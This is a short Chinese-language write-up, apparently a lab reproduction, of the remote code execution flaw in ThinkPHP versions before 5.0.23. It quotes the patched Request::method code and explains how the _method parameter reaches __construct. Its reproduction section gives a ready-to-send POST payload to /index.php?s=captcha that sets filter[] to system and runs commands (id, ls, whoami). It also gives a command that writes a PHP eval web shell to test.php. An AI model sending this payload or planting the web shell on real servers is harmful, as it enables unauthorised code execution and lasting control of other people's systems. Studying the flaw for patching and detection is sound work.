一、漏洞简介
5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
Thinkphp源码下载
漏洞代码如下
:
@@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
调用$this->{$this->method}($_POST);
语句。当我们可以控制$method
的值时,就可以调用Request
类的任意方法,而当调用构造方法__construct()
时,就可以覆盖Request类的任意成员变量,可以覆盖$this->method
,指定check()
方法中的$method
值。
二、漏洞复现
访问IP:8080抓包
更改请求为POST /index.php?s=captcha
消息正文为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=command
commond=id
/ls
/whoami
/echo <?php eval($_POST['cmd']);?> > test.php